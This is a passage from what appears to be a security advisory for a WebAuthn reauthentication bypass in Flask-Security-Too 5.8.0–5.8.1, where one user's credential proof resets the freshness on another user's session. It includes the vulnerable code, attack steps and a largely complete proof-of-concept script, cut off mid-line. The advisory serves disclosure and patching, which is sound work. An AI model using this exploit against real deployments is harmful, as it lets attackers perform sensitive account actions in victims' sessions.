Flask-Security-Too: WebAuthn reauthentication freshness bypass via cross-user assertion

Summary

Flask-Security-Too 5.8.0 and 5.8.1 mark a session as reauthentication-fresh after processing a WebAuthn assertion whose proven credential belongs to a different user than the currently authenticated session user. The check that GHSA-97r5-pg8x-p63p added on the OAuth reauthentication path (user.email == current_user.email) is missing on the WebAuthn reauthentication path. An attacker who owns any WebAuthn credential registered to any account on the deployment can satisfy a victim session's freshness gate by submitting their own WebAuthn proof into the victim session.

Affected versions

Flask-Security-Too >= 5.8.0, <= 5.8.1 (current main commit 5c44c76e33a20b67d02115e26d2da4bab18c094e). GHSA-97r5-pg8x-p63p (published 2026-05-22) shipped its fix in 5.8.1 only on oauth_glue.py; webauthn.py was not touched and remains exploitable in 5.8.1.

Privilege required

Authenticated attacker on the same Flask-Security deployment, owning at least one WebAuthn credential of any usage (first / secondary / verify) that is registered to their own account. The attacker also needs the ability to drive HTTP requests against the WebAuthn endpoints inside the victim session (e.g. a separate gadget such as CSRF + cookie-based auth, an XSS that doesn't reach the cookie itself but can move the session through endpoints, or an existing session-fixation gadget; or the rarer but easier case of an attacker who has direct access to the victim's not-yet-fresh session via a shared browser). The point of the freshness gate is to defend exactly that "I have the session but it isn't fresh enough to do sensitive things" position, so any context in which freshness would have protected the victim is also the context in which this bypass matters.

Vulnerable code

flask_security/webauthn.py:846-889 (commit 5c44c76e33a20b67d02115e26d2da4bab18c094e):

@auth_required(lambda: cv("API_ENABLED_METHODS"))
def webauthn_verify_response(token: str) -> ResponseValue:
    form = t.cast(
        WebAuthnSigninResponseForm, build_form_from_request("wan_signin_response_form")
    )

    expired, invalid, state = check_and_get_token_status(
        token, "wan", get_within_delta("WAN_SIGNIN_WITHIN")
    )
    ...
    form.challenge = state["challenge"]
    form.user_verification = state["user_verification"]
    form.is_secondary = False
    form.is_verify = True

    if form.validate_on_submit():
        # update last use and sign count
        after_this_request(view_commit)
        assert form.cred
        assert form.user
        form.cred.lastuse_datetime = _security.datetime_factory()
        form.cred.sign_count = form.authentication_verification.new_sign_count
        _datastore.put(form.cred)

        # verified - so set freshness time.
        session["fs_paa"] = time.time()
        ...

flask_security/webauthn.py:276-308 (the form's validate()):

def validate(self, **kwargs: t.Any) -> bool:
    if not super().validate(**kwargs):
        return False  # pragma: no cover
    ...
    try:
        auth_cred = parse_authentication_credential_json(self.credential.data)
    except (...):
        ...
        return False

    # Look up credential Id (raw_id) and user. 7.2.6/7
    self.cred = _datastore.find_webauthn(credential_id=auth_cred.raw_id)
    ...
    # This shouldn't be able to happen if datastore properly cascades delete
    self.user = _datastore.find_user_from_webauthn(self.cred)

self.user is resolved from the attacker-controlled credential_id and is never compared to current_user. The state token issued by _signin_common (webauthn.py:589-622) carries only {challenge, user_verification}, so state tokens are not bound to any user and replay portably across sessions:

def _signin_common(user: UserMixin | None, usage: list[str]) -> tuple[t.Any, str]:
    ...
    state = {
        "challenge": challenge,
        "user_verification": uv,
    }
    ...
    state_token = t.cast(str, _security.wan_serializer.dumps(state))
    return o_json, state_token

Contrast with the patch in oauth_glue.py:211 that GHSA-97r5-pg8x-p63p shipped:

next_loc = session.pop("fs_oauth_next", None)
if user and user.email == current_user.email:
    # verified - so set freshness time.
    session["fs_paa"] = time.time()

That user.email == current_user.email clamp is the missing check on the WebAuthn side.

How input reaches the sink

1. Attacker logs in to their own account and registers their own WebAuthn credential (call it cred_attacker). They retain a copy of any valid navigator.credentials.get() assertion JSON produced by their authenticator (one signature is enough; can also be produced fresh on demand per request).
2. Attacker holds, or gets, a victim session in a state where fs_paa is past FRESHNESS. The victim is authenticated as themselves; the gate stops them from invoking freshness-protected business endpoints (/change, /change-username, /wf-add, /us-setup, anything decorated with @auth_required(within=...)).
3. The victim session calls POST /wan-verify and receives a wan_state token. The state token has no user binding.
4. Attacker submits an assertion that proves possession of cred_attacker, inside the victim session, to POST /wan-verify/<wan_state>.
5. WebAuthnSigninResponseForm.validate resolves form.user to the attacker account from find_user_from_webauthn(self.cred), signs/verifies the assertion against the (attacker-controlled) public key it stored at registration time, and returns True. The user-handle check on auth_cred.response.user_handle (if present) compares against self.user.fs_webauthn_user_handle, i.e. it compares attacker user-handle to attacker user, so it passes trivially.
6. webauthn_verify_response then writes session["fs_paa"] = time.time(). The session user is unchanged (still the victim) but the freshness clock is reset by a cryptographic proof of the attacker's authenticator.
7. Any subsequent @auth_required(within=...) endpoint now succeeds inside the victim session.

End-to-end reproduction

Reproduction is an in-process Flask test client driving the published wheel (pip install Flask-Security-Too==5.8.0, also re-run against 5.8.1 since GHSA-97r5-pg8x-p63p's fix shipped with that release only touched oauth_glue.py). The full transcript is in the Proof of concept section below; here is the boot recipe:

python3.12 -m venv venv
source venv/bin/activate
pip install --quiet 'Flask-Security-Too==5.8.0' Flask-SQLAlchemy webauthn email-validator argon2_cffi
python poc.py

Captured run-time output (5.8.0 path):

=== Submit BOB's WebAuthn assertion to Alice's /wan-verify-response ===
  cross-user assertion status: 200
  alice fs_uniquifier in session AFTER: '408245d132bc4213a55606c46f40e038'   # still Alice
  fs_paa BEFORE: 1779582282.550872
  fs_paa AFTER : 1779585882.615287                                            # advanced
=== Demonstrate impact: /sensitive (freshness-protected) accepted ===
  /sensitive after cross-user verify status: 200

Re-run against 5.8.1 produces the same 200 on the cross-user assertion and the same 200 on the freshness-gated endpoint, confirming that the patch for GHSA-97r5-pg8x-p63p did not extend to the WebAuthn path.

Proof of concept

Mocked WebAuthn fixtures (REG_DATA_UV, SIGNIN_DATA_UV, REG_DATA1, SIGNIN_DATA1) and HackWebauthnUtil are lifted verbatim from the project's own test suite ([tests/test_webauthn.py](https://github.com/pallets-eco/flask security/blob/5c44c76e33a20b67d02115e26d2da4bab18c094e/tests/test_webauthn.py)) which pins the challenge so a recorded assertion blob can be replayed; this does not bypass any cryptographic check inside webauthn.verify_authentication_response, it just substitutes the test-suite's own WebauthnUtil so the recorded blobs can be exercised against a running app instance. In a real-world deployment the attacker uses their own authenticator producing fresh assertions per request.

poc.py (complete, runnable; the REG_DATA* / SIGNIN_DATA* fixtures are the project's own tests/test_webauthn.py blobs, reproduced in full):

"""
E2E PoC for Flask-Security-Too 5.8.0 WebAuthn reauthentication freshness bypass
via cross-user assertion.

Sibling of GHSA-97r5-pg8x-p63p (OAuth path, fixed in 5.8.1). The WebAuthn
verify path (`webauthn.py:847-889 webauthn_verify_response` +
`webauthn.py:276-366 WebAuthnSigninResponseForm.validate`) sets
`session["fs_paa"] = time.time()` whenever a syntactically valid WebAuthn
assertion completes, without checking that the assertion's resolved user
equals the current session user.

Setup:
  - Alice and Bob both registered as users.
  - Each registers their own WebAuthn credential (REG_DATA_UV for Alice as
    primary-usage key, REG_DATA1 for Bob as primary-usage key).
  - Alice authenticates via password. Her freshness timestamp is rolled back
    to simulate a stale session (the standard reauthn precondition).
  - Alice's session attempts /wan-verify and gets a state_token. The state
    token only contains {challenge, user_verification} -- no user binding.
  - Alice's session POSTs to /wan-verify/<state_token> with BOB's WebAuthn
    credential signature (SIGNIN_DATA1).
  - validate() resolves form.user from Bob's credential_id without checking
    against current_user. webauthn_verify_response writes
    session["fs_paa"] = time.time().
  - Alice now passes the freshness gate using a proof of Bob's credential.

Outcome: a freshness-protected endpoint (/fresh, /change-username, etc.)
responds 200 for Alice's session even though the only credential proof
provided was Bob's. This is the same trust-contract violation that
GHSA-97r5-pg8x-p63p patched on the OAuth path.
"""

import copy
import datetime as dt
import json
import re
import time
from datetime import timedelta

from flask import Flask, jsonify
from flask_sqlalchemy import SQLAlchemy
from flask_security import (
    Security,
    SQLAlchemyUserDatastore,
    auth_required,
    hash_password,
)
from flask_security.models import fsqla_v3 as fsqla
from flask_security.webauthn_util import WebauthnUtil

# Fixtures lifted verbatim from tests/test_webauthn.py
CHALLENGE = "smCCiy_k2CqQydSQ_kPEjV5a2d0ApfatcpQ1aXDmQPo"

REG_DATA_UV = {
    "id": "s3xZpfGy0ZH-sSkfxIsgChwbkw_O0jOFtZeJ1LXUMEa8atG1oEskNqmFJCfgKZGy",
    "rawId": "s3xZpfGy0ZH-sSkfxIsgChwbkw_O0jOFtZeJ1LXUMEa8atG1oEskNqmFJCfgKZGy",
    "type": "public-key",
    "response": {
        "attestationObject": "o2NmbXRkbm9uZWdhdHRTdG10oGhhdXRoRGF0YVjC"
        "SZYN5YgOjGh0NBcPZHZgW4_krrmihjLHmVzzuoMdl2PFAAAABAAAAA"
        "AAAAAAAAAAAAAAAAAAMLN8WaXxstGR_rEpH8SLIAocG5MPztIzhbWXi"
        "dS11DBGvGrRtaBLJDaphSQn4CmRsqUBAgMmIAEhWCCzfFml8bLRkf"
        "6xKR_EUnaoI333MuxRlv5-LwojDibdTyJYIFMifFwn-RfkDDgsTHF"
        "jWgE6bld-Jc4nhFMTkQja9P8IoWtjcmVkUHJvdGVjdAI",
        "clientDataJSON": "eyJ0eXBlIjoid2ViYXV0aG4uY3JlYXRlIiwiY2hhbGxlbmdlIjoiYzI"
        "xRFEybDVYMnN5UTNGUmVXUlRVVjlyVUVWcVZqVmhNbVF3UVhCbVlY"
        "UmpjRkV4WVZoRWJWRlFidyIsIm9yaWdpbiI6Imh0dHA6Ly9sb2Nhb"
        "Ghvc3Q6NTAwMSIsImNyb3NzT3JpZ2luIjpmYWxzZX0",
        "transports": ["nfc", "usb"],
    },
    "extensions": '{"credProps":{"rk":true}}',
}
SIGNIN_DATA_UV = {
    "id": "s3xZpfGy0ZH-sSkfxIsgChwbkw_O0jOFtZeJ1LXUMEa8atG1oEskNqmFJCfgKZGy",
    "rawId": "s3xZpfGy0ZH-sSkfxIsgChwbkw_O0jOFtZeJ1LXUMEa8atG1oEskNqmFJCfgKZGy",
    "type": "public-key",
    "response": {
        "authenticatorData": "SZYN5YgOjGh0NBcPZHZgW4_krrmihjLHmVzzuoMdl2MFAAAABQ==",
        "clientDataJSON": "eyJ0eXBlIjoid2ViYXV0aG4uZ2V0IiwiY2hhbGxlbmdlIjoiYzIxRFEy"
        "bDVYMnN5UTNGUmVXUlRVVjlyVUVWcVZqVmhNbVF3UVhCbVlYUmpjRkV4W"
        "VZoRWJWRlFidyIsIm9yaWdpbiI6Imh0dHA6Ly9sb2NhbGhvc3Q6NTAwMSI"
        "sImNyb3NzT3JpZ2luIjpmYWxzZX0=",
        "signature": "MEUCIQDR0m9Ob4nqVGiAPUf1Tu5XohDh2frl1LJ6G41GURlUIgIgKUPfkw"
        "AjP2863L2nDhcR2EKqoGEQLqlQ5xymZstyO6o=",
    },
    "assertionClientExtensions": "{}",
}
REG_DATA1 = {
    "id": "wUUqNOjY35dcT-vpikZpZx-T91NjIe4PqrV8j7jYPOc",
    "rawId": "wUUqNOjY35dcT-vpikZpZx-T91NjIe4PqrV8j7jYPOc",
    "type": "public-key",
    "response": {
        "attestationObject": "o2NmbXRkbm9uZWdhdHRTdG10oGhhdXRoRGF0YVikSZYN5YgOjGh0NB"
        "cPZHZgW4_krrmihjLHmVzzuoMdl2NFAAAAAQAAAAAAAAAAAAAAAAAAA"
        "AAAIMFFKjTo2N-XXE_r6YpGaWcfk_dTYyHuD6q1fI-42DznpQECAy"
        "YgASFYIFRipoWMEiDuCtLUvSlqCFZBqxvUuNqZKavlWgvN2BK8Il"
        "ggLOV4eez9k0det5oIZGyKanGkmWa0hygnjjFmf8Rep6c",
        "clientDataJSON": "eyJ0eXBlIjoid2ViYXV0aG4uY3JlYXRlIiwiY2hhbGxlbmdlIjoiYzIxR"
        "FEybDVYMnN5UTNGUmVXUlRVVjlyVUVWcVZqVmhNbVF3UVhCbVlYUmpjRk"
        "V4WVZoRWJWRlFidyIsIm9yaWdpbiI6Imh0dHA6Ly9sb2NhbGhvc3Q6NT"
        "AwMSIsImNyb3NzT3JpZ2luIjpmYWxzZX0",
        "transports": ["usb"],
    },
    "extensions": '{"credProps": {}}',
}
SIGNIN_DATA1 = {
    "id": "wUUqNOjY35dcT-vpikZpZx-T91NjIe4PqrV8j7jYPOc",
    "rawId": "wUUqNOjY35dcT-vpikZpZx-T91NjIe4PqrV8j7jYPOc",
    "type": "public-key",
    "response": {
        "authenticatorData": "SZYN5YgOjGh0NBcPZHZgW4_krrmihjLHmVzzuoMdl2MBAAAABQ==",
        "clientDataJSON": "eyJ0eXBlIjoid2ViYXV0aG4uZ2V0IiwiY2hhbGxlbmdlIjoiYzIxRFEy"
        "bDVYMnN5UTNGUmVXUlRVVjlyVUVWcVZqVmhNbVF3UVhCbVlYUmpjRkV4"
        "WVZoRWJWRlFidyIsIm9yaWdpbiI6Imh0dHA6Ly9sb2NhbGhvc3Q6NTAw"
        "MSIsImNyb3NzT3JpZ2luIjpmYWxzZX0=",
        "signature": "MEUCIH5VdRXxfnoxfrVk72gvWAn91QH-l2UrIohk5YOWi9XpAiEAn6f9oHtFS"
        "68HVf6K_Ku0L33C0sID2HzpJWSiTNgJlbU=",
    },
    "assertionClientExtensions": "{}",
}


class HackWebauthnUtil(WebauthnUtil):
    """Mirrors tests/test_webauthn.py: pins the challenge to the value embedded
    in REG_DATA / SIGNIN_DATA so the cryptographic verification accepts the
    pre-recorded blobs. Standard PoC technique used by the project's own test
    suite. Does NOT change the vulnerable code path."""

    def generate_challenge(self, nbytes=None):
        return CHALLENGE

    def origin(self):
        return "http://localhost:5001"


def build_app():
    app = Flask(__name__)
    app.config["SECRET_KEY"] = "poc-secret"
    app.config["SECURITY_PASSWORD_SALT"] = "poc-salt"
    app.config["SQLALCHEMY_DATABASE_URI"] = "sqlite:///:memory:"
    app.config["SQLALCHEMY_TRACK_MODIFICATIONS"] = False
    app.config["WTF_CSRF_ENABLED"] = False
    app.config["SERVER_NAME"] = "localhost:5001"

    app.config["SECURITY_WEBAUTHN"] = True
    app.config["SECURITY_WAN_ALLOW_AS_FIRST_FACTOR"] = True
    app.config["SECURITY_WAN_ALLOW_AS_VERIFY"] = ["first", "secondary"]
    app.config["SECURITY_WAN_ALLOW_AS_MULTI_FACTOR"] = True
    app.config["SECURITY_FRESHNESS"] = timedelta(minutes=1)
    app.config["SECURITY_FRESHNESS_GRACE_PERIOD"] = timedelta(seconds=0)
    app.config["SECURITY_CHANGEABLE"] = True
    app.config["SECURITY_USERNAME_ENABLE"] = False
    app.config["SECURITY_FRESHNESS"] = timedelta(seconds=10)

    db = SQLAlchemy(app)
    fsqla.FsModels.set_db_info(db)

    class Role(db.Model, fsqla.FsRoleMixin):
        pass

    class WebAuthn(db.Model, fsqla.FsWebAuthnMixin):
        pass

    class User(db.Model, fsqla.FsUserMixin):
        pass

    ds = SQLAlchemyUserDatastore(db, User, Role, WebAuthn)
    app.security = Security(
        app, datastore=ds, webauthn_util_cls=HackWebauthnUtil
    )

    # A representative freshness-protected business endpoint. Same gate the
    # built-in /change, /change-username, /wf-add etc. use.
    @app.route("/sensitive", methods=["POST"])
    @auth_required(
        within=lambda: app.config["SECURITY_FRESHNESS"],
        grace=lambda: app.config["SECURITY_FRESHNESS_GRACE_PERIOD"],
    )
    def sensitive():
        return jsonify({"ok": True}), 200

    with app.app_context():
        db.create_all()
        ds.create_user(
            email="[email protected]",
            password=hash_password("alice-password"),
            confirmed_at=dt.datetime.now(dt.timezone.utc),
        )
        ds.create_user(
            email="[email protected]",
            password=hash_password("bob-password"),
            confirmed_at=dt.datetime.now(dt.timezone.utc),
        )
        db.session.commit()

    return app


def _register_start_json(client, name, usage="first"):
    resp = client.post("/wan-register", json=dict(name=name, usage=usage))
    assert resp.status_code == 200, resp.data
    return f'/wan-register/{resp.json["response"]["wan_state"]}'


def login_password(client, email, password):
    resp = client.post(
        "/login",
        json=dict(email=email, password=password),
        headers={"Content-Type": "application/json", "Accept": "application/json"},
    )
    assert resp.status_code == 200, resp.data
    return resp


def logout(client):
    return client.post(
        "/logout",
        headers={"Content-Type": "application/json", "Accept": "application/json"},
    )


def step(label):
    print(f"\n=== {label} ===")


def main():
    app = build_app()

    print(f"flask-security version under test: {__import__('flask_security').__version__}")

    # Step 1: Bob logs in, registers his WebAuthn credential, logs out
    step("Bob registers his WebAuthn credential (attacker's own key)")
    bob_client = app.test_client()
    login_password(bob_client, "[email protected]", "bob-password")
    url = _register_start_json(bob_client, name="bobkey", usage="first")
    r = bob_client.post(url, json=dict(credential=json.dumps(REG_DATA1)))
    assert r.status_code == 200, r.data
    print(f"  bob register status: {r.status_code}")
    logout(bob_client)

    # Step 2: Alice logs in, registers her own WebAuthn credential, stays logged in
    step("Alice registers her own WebAuthn credential (victim's key)")
    alice_client = app.test_client()
    login_password(alice_client, "[email protected]", "alice-password")
    url = _register_start_json(alice_client, name="alicekey", usage="first")
    r = alice_client.post(url, json=dict(credential=json.dumps(REG_DATA_UV)))
    assert r.status_code == 200, r.data
    print(f"  alice register status: {r.status_code}")

    # Step 3: Confirm Alice's session can hit /sensitive while fresh (sanity)
    step("Confirm /sensitive works while session is fresh")
    r = alice_client.post(
        "/sensitive",
        json=dict(),
        headers={"Content-Type": "application/json", "Accept": "application/json"},
    )
    print(f"  /sensitive while fresh status: {r.status_code}")
    assert r.status_code == 200, r.data

    # Step 4: Roll Alice's fs_paa back to simulate a stale session
    step("Stale Alice's session (roll fs_paa back past FRESHNESS)")
    with alice_client.session_transaction() as sess:
        old_paa = sess["fs_paa"] - 3600
        sess["fs_paa"] = old_paa
        sess.pop("fs_gexp", None)
        alice_identity = sess.get("_user_id")
    print(f"  alice fs_uniquifier in session: {alice_identity!r}")
    print(f"  alice fs_paa now: {old_paa}")

    # Step 5: Confirm freshness gate now denies Alice
    step("Confirm /sensitive now requires reauth (401 reauth_required)")
    r = alice_client.post(
        "/sensitive",
        json=dict(),
        headers={"Content-Type": "application/json", "Accept": "application/json"},
    )
    print(f"  /sensitive after stale status: {r.status_code}")
    print(f"  body: {r.json}")
    assert r.status_code == 401
    assert r.json["response"]["reau